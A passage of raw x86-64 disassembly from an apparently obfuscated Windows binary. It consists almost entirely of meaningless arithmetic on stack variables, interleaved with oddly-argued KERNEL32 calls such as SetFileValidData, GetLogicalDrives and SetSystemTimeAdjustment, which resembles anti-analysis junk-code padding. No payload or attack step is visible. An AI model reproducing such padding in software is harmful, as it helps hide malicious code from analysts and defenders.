mov dword [0x1402bf57c], eax
lea rax, [rsp + 0xdcd4]
mov qword [rsp + 0x1afd8], rax
mov eax, dword [rsp + 0xd930]
mov ecx, dword [rsp + 0xd584]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb290], eax
mov eax, dword [rsp + 0xd8d4]
mov ecx, dword [rsp + 0xd744]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1abd8]
mov dword [rcx], eax
lea rax, [rsp + 0x7e8]
mov qword [rsp + 0x1afe0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xb961
mov rcx, qword [rsp + 0x1a7a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe034], eax
movzx eax, word [rsp + 0x2c18]
mov rcx, qword [0x1402bf4e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x384c], ax
mov eax, dword [rsp + 0xc22c]
mov ecx, dword [rsp + 0xdd14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xae08], eax
mov eax, dword [rsp + 0xdc58]
mov ecx, dword [rsp + 0xdb2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f54], eax
mov edx, 0x1eff27
mov rcx, qword [rsp + 0x1aac8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd540], eax
mov eax, dword [rsp + 0xcee0]
mov ecx, dword [rsp + 0xdcf4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd70], eax
mov rax, qword [rsp + 0x1aa68]
mov ecx, dword [rsp + 0x9498]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad7cc], eax
movzx eax, word [rsp + 0x3948]
mov word [rsp + 0x3c34], ax
mov rcx, qword [rsp + 0x1a388]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xe038], eax
mov rax, qword [0x1402bf6e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x451]
sub eax, ecx
mov byte [rsp + 0x85c], al
movzx eax, byte [rsp + 0x7b1]
mov byte [rsp + 0x8d0], al
mov rax, qword [rsp + 0x1a118]
movsx eax, word [rax]
movsx ecx, word [0x1402bf4d8]
add eax, ecx
mov rcx, qword [rsp + 0x1acd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x1ada8]
mov eax, dword [rax]
mov dword [rsp + 0xe03c], eax
mov rax, qword [rsp + 0x1a050]
mov ecx, dword [rsp + 0xd874]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd3c8], eax
mov rax, qword [rsp + 0x1aa20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36e8]
or eax, ecx
mov word [rsp + 0x22dc], ax
movzx eax, byte [rsp + 0x8cf]
mov rcx, qword [rsp + 0x1a6a8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x486], al
mov rax, qword [rsp + 0x1a3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd640]
xor ecx, eax
mov eax, ecx
mov dword [0x1402ad94c], eax
mov eax, dword [rsp + 0xbc10]
movzx ecx, al
mov eax, dword [rsp + 0xa59c]
shl eax, cl
mov dword [rsp + 0xb1c8], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov dword [rsp + 0xe040], eax
mov rax, qword [rsp + 0x1a250]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdac4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19e50]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xcd04
mov rcx, qword [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xd200], eax
mov rax, qword [rsp + 0x1abf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x794], al
mov rax, qword [rsp + 0x1a900]
movzx eax, word [rax]
mov word [rsp + 0x3c38], ax
mov eax, dword [rsp + 0x8d3c]
mov ecx, dword [rsp + 0xd080]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbe8c], eax
lea rdx, [rsp + 0x1afe8]
mov rcx, qword [rsp + 0x19fc8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd458], eax
mov rax, qword [rsp + 0x1a000]
mov ecx, dword [rsp + 0xdfa8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9ba8], eax
mov rax, qword [rsp + 0x1ac58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa080]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd454], eax
mov eax, dword [rsp + 0xce08]
mov ecx, dword [rsp + 0xd778]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad950], eax
mov rax, qword [rsp + 0x19ca0]
mov rcx, qword [rsp + 0x1afa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a140]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x8a0]
mov byte [rsp + 0x8d1], al
mov rax, qword [rsp + 0x1a540]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x375c]
and eax, ecx
mov word [rsp + 0x2234], ax
movzx eax, byte [rsp + 0x571]
mov byte [rsp + 0x8d2], al
movzx eax, word [rsp + 0x3a1c]
movzx ecx, word [rsp + 0x3b70]
add eax, ecx
mov word [rsp + 0x3b80], ax
mov rax, qword [rsp + 0x1ae30]
mov eax, dword [rax]
mov ecx, dword [0x1402bf5f8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19d58]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x19b30]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xdf74], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0x1a050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc0fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb448], eax
movzx eax, byte [rsp + 0x834]
movzx ecx, byte [rsp + 0x2d3]
xor eax, ecx
mov byte [rsp + 0x8a9], al
mov rax, qword [rsp + 0x1ad70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2880]
sar eax, cl
mov word [0x1402ad820], ax
mov eax, dword [rsp + 0xd110]
mov dword [rsp + 0xe044], eax
mov rax, qword [rsp + 0x1ac80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1ab98]
mov qword [rsp + 0x1aff0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1aff0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x87d4], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov dword [rsp + 0xe048], eax
mov rax, qword [rsp + 0x19eb0]
mov ecx, dword [rsp + 0xcde8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xbae0], eax
mov rax, qword [0x1402bf3a8]
movzx eax, byte [rax]
cdq
mov ecx, 0x98
idiv ecx
mov byte [rsp + 0x81d], al
mov rax, qword [rsp + 0x19ea0]
movzx eax, word [rax]
imul eax, eax, 0x821
mov word [rsp + 0x1e78], ax
mov rax, qword [rsp + 0x19bd8]
mov ecx, dword [0x1402ad634]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd78c], eax
mov eax, dword [rsp + 0xd0ec]
mov dword [rsp + 0xe04c], eax
movsx eax, byte [rsp + 0x102]
movsx ecx, byte [rsp + 0x5f7]
sub eax, ecx
mov byte [0x1402bf644], al
movsx eax, word [0x1402ad918]
movsx ecx, word [rsp + 0x378c]
add eax, ecx
mov word [rsp + 0x35e0], ax
movzx eax, word [rsp + 0x39d4]
mov rcx, qword [rsp + 0x19dc8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3be8], ax
mov rax, qword [rsp + 0x19d00]
movzx eax, byte [rax]
mov byte [rsp + 0x8d3], al
mov rax, qword [rsp + 0x1a0b8]
mov eax, dword [rax]
mov ecx, dword [0x1402bf388]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd654], eax
lea rax, [rsp + 0xd3e8]
mov qword [rsp + 0x1aff8], rax
mov rax, qword [rsp + 0x1af88]
mov rcx, qword [rsp + 0x19f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd6e8], eax
mov rax, qword [rsp + 0x1ab68]
mov eax, dword [rax]
mov ecx, dword [0x1402ad658]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1ac], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x1abc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdc14]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9588], eax
movzx eax, word [rsp + 0x392c]
imul eax, eax, 0x367
mov word [rsp + 0x3c00], ax
lea rax, [rsp + 0x88c]
mov qword [0x1402bf328], rax
mov rax, qword [rsp + 0x1a3b0]
mov eax, dword [rax]
mov dword [rsp + 0xe050], eax
mov rax, qword [rsp + 0x1a808]
mov ecx, dword [0x1402ad6a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdf10], eax
mov rax, qword [rsp + 0x1add0]
mov eax, dword [rax]
mov dword [rsp + 0xe054], eax
mov rax, qword [rsp + 0x1a250]
mov rcx, qword [rsp + 0x1acc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xadd0], eax
movzx eax, word [rsp + 0x3838]
mov rcx, qword [0x1402bf458]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3610], ax
mov rax, qword [rsp + 0x1afe0]
movzx eax, byte [rax]
mov byte [rsp + 0x8d4], al
movsx eax, word [rsp + 0x38d8]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3730], ax
mov rax, qword [rsp + 0x1a078]
movsx eax, byte [rax]
movsx ecx, byte [0x1402acbff]
xor eax, ecx
mov byte [rsp + 0x217], al
mov rax, qword [rsp + 0x1acc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd078]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad70c], eax
mov rax, qword [rsp + 0x1ade8]
mov rcx, qword [rsp + 0x1a990]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa1c8], eax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x81a]
sub eax, ecx
mov rcx, qword [rsp + 0x1a1d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
mov word [rsp + 0x3c3c], ax
mov rax, qword [rsp + 0x19f50]
mov rcx, qword [rsp + 0x19d70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xbcc4], eax
mov eax, dword [0x1402bf39c]
mov dword [rsp + 0xe058], eax
mov rax, qword [rsp + 0x1a678]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb064]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a9e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a5b0]
mov ecx, dword [rsp + 0xd9b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb368], eax
mov rax, qword [rsp + 0x1a600]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19fb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x624], al
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
mov word [0x1402bf324], ax
mov eax, dword [0x1402bf450]
mov ecx, dword [rsp + 0xd7f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcff0], eax
mov eax, dword [rsp + 0xcf58]
mov dword [rsp + 0xe05c], eax
mov eax, dword [rsp + 0xdeec]
mov ecx, dword [rsp + 0xd694]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdc98], eax
lea rcx, [rsp + 0x1b000]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [0x1402bf4d4]
mov ecx, dword [rsp + 0xd6ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2cc], eax
mov ecx, 0xc
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd2f4], eax
mov eax, dword [rsp + 0xd96c]
mov dword [rsp + 0xe060], eax
mov rax, qword [rsp + 0x1ac20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13c]
xor eax, ecx
mov byte [rsp + 0x92], al
movsx eax, word [rsp + 0x3770]
mov rcx, qword [rsp + 0x1a540]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x197c], ax
movzx eax, byte [rsp + 0x804]
mov rcx, qword [rsp + 0x1a600]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x7b5], al
movzx eax, word [rsp + 0x3664]
mov rcx, qword [0x1402bf588]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1402bf598]
mov word [rcx], ax
mov rax, qword [rsp + 0x19ea8]
mov eax, dword [rax]
mov dword [rsp + 0xe064], eax
mov eax, dword [rsp + 0xd5e0]
mov ecx, dword [rsp + 0x8540]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdeb0], eax
mov rax, qword [rsp + 0x1a318]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a4c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x38c0], ax
mov rax, qword [rsp + 0x1a2e0]
movzx eax, byte [rax]
mov byte [rsp + 0x8d5], al
mov rax, qword [rsp + 0x1a740]
mov ecx, dword [rsp + 0xcf68]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd9b0], eax
mov rax, qword [rsp + 0x1ac08]
mov rcx, qword [rsp + 0x1aa70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8098], eax
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xdbc8], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd770], eax
mov eax, dword [rsp + 0xcd94]
mov ecx, dword [rsp + 0xad64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd4bc], eax
mov rax, qword [rsp + 0x1a760]
mov ecx, dword [rsp + 0xe028]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce3c], eax
movzx eax, word [0x1402bf4f0]
mov rcx, qword [rsp + 0x1ab48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad954], ax
movzx eax, byte [rsp + 0x898]
mov byte [rsp + 0x8d6], al
mov rax, qword [rsp + 0x1aff8]
mov ecx, dword [0x1402bf67c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd98c], eax
mov eax, dword [rsp + 0xdee0]
mov dword [rsp + 0xe068], eax
lea rcx, str.hJY2
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3c40], ax
movsx eax, byte [rsp + 0x856]
mov rcx, qword [rsp + 0x19af8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x88f], al
movzx ecx, word [rsp + 0x3930]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3a10], ax
mov rax, qword [rsp + 0x19ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x36e0]
add eax, ecx
mov word [rsp + 0x3850], ax
mov ecx, 0xb
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xce8c], eax
lea rax, [rsp + 0x87f]
mov qword [rsp + 0x1b008], rax
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a1f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x36bc], ax
mov eax, dword [rsp + 0xe000]
mov dword [rsp + 0xe06c], eax
mov eax, dword [rsp + 0xd47c]
movzx ecx, al
mov eax, dword [0x1402ad8bc]
shl eax, cl
mov dword [0x1402ad958], eax
mov eax, dword [rsp + 0xdc30]
mov rcx, qword [rsp + 0x1a620]
mov qword [rsp + 0x1b010], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b010]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xdb68], eax
mov rax, qword [rsp + 0x1a9d0]
mov ecx, dword [0x1402ad814]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb404], eax
mov eax, dword [rsp + 0xdb24]
mov ecx, dword [rsp + 0xc0ec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xb394], eax
movzx eax, byte [rsp + 0x55a]
movzx ecx, byte [rsp + 0x85d]
imul eax, ecx
mov rcx, qword [rsp + 0x1b008]
mov byte [rcx], al
mov rax, qword [rsp + 0x1ad10]
movzx eax, word [rax]
mov word [rsp + 0x3c44], ax
mov eax, dword [rsp + 0xd1ec]
mov ecx, dword [rsp + 0xd848]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc1ac], eax
mov eax, dword [rsp + 0xd2a8]
mov dword [rsp + 0xe070], eax
mov rax, qword [0x1402bf638]
mov rcx, qword [rsp + 0x1a008]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd318], eax
mov rax, qword [rsp + 0x19b18]
mov rcx, qword [rsp + 0x1a038]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad734], eax
movzx eax, byte [rsp + 0x8af]
mov rcx, qword [rsp + 0x1a730]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x608], al
movzx ecx, word [rsp + 0x35c8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3c48], ax
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
imul eax, eax, 0x664
mov word [rsp + 0x2390], ax
movsx eax, word [rsp + 0x1de8]
movsx ecx, word [rsp + 0x2468]
sub eax, ecx
mov word [rsp + 0x39b4], ax
movzx eax, byte [0x1402bf3ca]
mov byte [rsp + 0x8d7], al
mov eax, dword [rsp + 0xa234]
mov ecx, dword [rsp + 0xdbb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80b4], eax
mov eax, dword [rsp + 0x8194]
mov ecx, dword [rsp + 0x8de8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xe028], eax
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov word [rsp + 0x3c4c], ax
mov rax, qword [rsp + 0x19fa0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x838], al
mov eax, dword [0x1402ad6b8]
mov ecx, dword [rsp + 0xc6ac]
sub ecx, eax
mov eax, ecx
mov dword [0x1402bf550], eax
mov rax, qword [rsp + 0x1a210]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19c10]
mov qword [rsp + 0x1b018], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b018]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa5c4], eax
mov rax, qword [rsp + 0x1a080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc0fc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xda74], eax
mov eax, dword [rsp + 0xbad0]
mov ecx, dword [0x1402bf4a8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9674], eax
mov rax, qword [rsp + 0x1a638]
movzx eax, byte [rax]
mov byte [rsp + 0x8d8], al
movzx eax, word [rsp + 0x2a8c]
mov rcx, qword [rsp + 0x1a2b8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x37ac], ax
mov rax, qword [rsp + 0x1aac0]
mov eax, dword [rax]
mov dword [rsp + 0xe074], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xdd94], eax
mov rax, qword [rsp + 0x1a140]
mov ecx, dword [rsp + 0xd194]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9404], eax
mov eax, dword [rsp + 0xd188]
mov ecx, dword [rsp + 0xd430]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4f8], eax
mov eax, dword [rsp + 0xc7cc]
mov dword [0x1402bf320], eax
mov rax, qword [rsp + 0x1ab78]
mov ecx, dword [rsp + 0x8614]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdf3c], eax
movsx eax, word [rsp + 0x3830]
movsx ecx, word [rsp + 0x37d4]
add eax, ecx
mov word [rsp + 0x3b34], ax
movzx eax, byte [rsp + 0x3e1]
mov byte [rsp + 0x8d9], al
mov rax, qword [rsp + 0x1a2e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1ad70]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x392c], ax
mov rax, qword [rsp + 0x1a638]
movzx eax, byte [rax]
mov byte [rsp + 0x8da], al
mov rax, qword [0x1402bf3f8]
mov ecx, dword [rsp + 0xdae0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9de4], eax
mov rax, qword [rsp + 0x1ad30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd494]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcea8], eax
movzx eax, word [rsp + 0x1874]
mov rcx, qword [0x1402bf730]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e14], ax
mov rax, qword [rsp + 0x1afe0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a1]
sub eax, ecx
mov byte [0x1402acb7a], al
mov rax, qword [rsp + 0x1a968]
mov rcx, qword [rsp + 0x1aa70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf08], eax
mov eax, dword [0x1402ad804]
mov dword [rsp + 0xe078], eax
mov rax, qword [rsp + 0x1a928]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x91e8]
shl eax, cl
mov rcx, qword [rsp + 0x1aad0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd2a8]
mov ecx, dword [rsp + 0xc8f4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd078], eax
mov rax, qword [rsp + 0x1a1d0]
movzx eax, byte [rax]
mov byte [rsp + 0x8db], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movzx eax, word [rsp + 0x3568]
mov rcx, qword [rsp + 0x1a500]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x3184], ax
mov eax, dword [rsp + 0xa4fc]
mov dword [rsp + 0xe07c], eax
mov rax, qword [rsp + 0x19cc8]
mov eax, dword [rax]
mov rcx, qword [0x1402bf610]
mov qword [rsp + 0x1b020], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b020]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xdb3c], eax
movsx eax, byte [rsp + 0x7d2]
mov rcx, qword [rsp + 0x1a280]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [str.a_rA], al
movsx eax, word [rsp + 0x3918]
mov rcx, qword [rsp + 0x1a8a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2cfc], ax
mov rax, qword [rsp + 0x1a218]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a0c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10b], al
mov rax, qword [rsp + 0x1a500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3838]
add eax, ecx
mov word [rsp + 0x386c], ax
mov eax, dword [rsp + 0xd364]
mov dword [rsp + 0xe080], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19e50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdeb0], eax
mov rax, qword [rsp + 0x19df8]
mov eax, dword [rax]
mov dword [rsp + 0xe084], eax
lea rcx, [rsp + 0x2d650]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xe088], eax
mov eax, dword [rsp + 0xcf00]
mov ecx, dword [0x1402bf454]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd824], eax
mov rax, qword [rsp + 0x19df8]
mov ecx, dword [rsp + 0xcfc4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x80f8], eax
movzx eax, byte [rsp + 0x806]
imul eax, eax, 0x86
mov byte [rsp + 0x445], al
mov rax, qword [rsp + 0x1a5d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x181c]
sub eax, ecx
mov word [0x1402ad8b0], ax
mov rax, qword [rsp + 0x19ef0]
mov ecx, dword [rsp + 0xdb14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd078], eax
lea rax, [rsp + 0xd3fc]
mov qword [rsp + 0x1b028], rax
mov rax, qword [rsp + 0x1a808]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb040]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xda5c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0x1afb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19dc0]
mov qword [rsp + 0x1b030], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b030]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xdab4], eax
movzx eax, word [0x1402ad828]
mov word [rsp + 0x3c50], ax
movzx eax, byte [rsp + 0x7f2]
mov rcx, qword [rsp + 0x1a5b8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xfd], al
movzx eax, word [rsp + 0x3800]
mov word [rsp + 0x3c54], ax
mov rcx, qword [rsp + 0x1ad20]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcf18], eax
movsx eax, byte [reloc.SHELL32.dll_ILFindChild]
mov rcx, qword [rsp + 0x19a98]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1e0], al
mov rax, qword [rsp + 0x1ac08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd9e4]
or ecx, eax
mov eax, ecx
mov dword [0x1402ad95c], eax
mov eax, dword [rsp + 0xd9dc]
mov ecx, dword [rsp + 0xd7d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xae08], eax
mov rax, qword [rsp + 0x1a4c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19d18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x26d0], ax
movzx eax, byte [rsp + 0x7cb]
mov rcx, qword [rsp + 0x19e38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x68f], al
mov eax, dword [0x1402ad8d0]
mov dword [rsp + 0xe08c], eax
mov rax, qword [rsp + 0x1a168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd28c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdf4], eax
mov eax, dword [rsp + 0xdf48]
mov dword [rsp + 0xe090], eax
mov rax, qword [rsp + 0x1a5b0]
mov rcx, qword [0x1402bf4b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xdcc0], eax
mov rax, qword [rsp + 0x19e38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1a568]
mov byte [rcx], al
movzx eax, word [rsp + 0x3bb4]
mov rcx, qword [0x1402bf4e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad960], ax
mov eax, dword [rsp + 0xd840]
mov ecx, dword [rsp + 0xa2a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xbe44], eax
mov eax, dword [rsp + 0xdc34]
mov ecx, dword [rsp + 0xe078]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb630], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xde78], eax
lea rax, [0x1402ad8b4]
mov qword [rsp + 0x1b038], rax
mov eax, dword [rsp + 0x91bc]
movzx ecx, al
mov eax, dword [rsp + 0xdf5c]
sar eax, cl
mov dword [rsp + 0xdaf4], eax
mov eax, dword [rsp + 0xcd98]
mov rcx, qword [rsp + 0x1abc0]
mov qword [rsp + 0x1b040], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1b040]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x951c], eax
mov rax, qword [0x1402bf470]
movzx eax, word [rax]
mov word [rsp + 0x3c58], ax
mov rax, qword [rsp + 0x19c88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1aa98]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x7d0], al
mov rax, qword [rsp + 0x1a0a0]
movzx eax, byte [rax]
mov byte [rsp + 0x8dc], al
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1ad70]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1402ad6a8], ax
mov rax, qword [rsp + 0x1ae10]
mov rcx, qword [rsp + 0x1ad60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd944], eax
mov rax, qword [rsp + 0x1a690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdff4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc9c8], eax
movzx eax, byte [rsp + 0x87f]
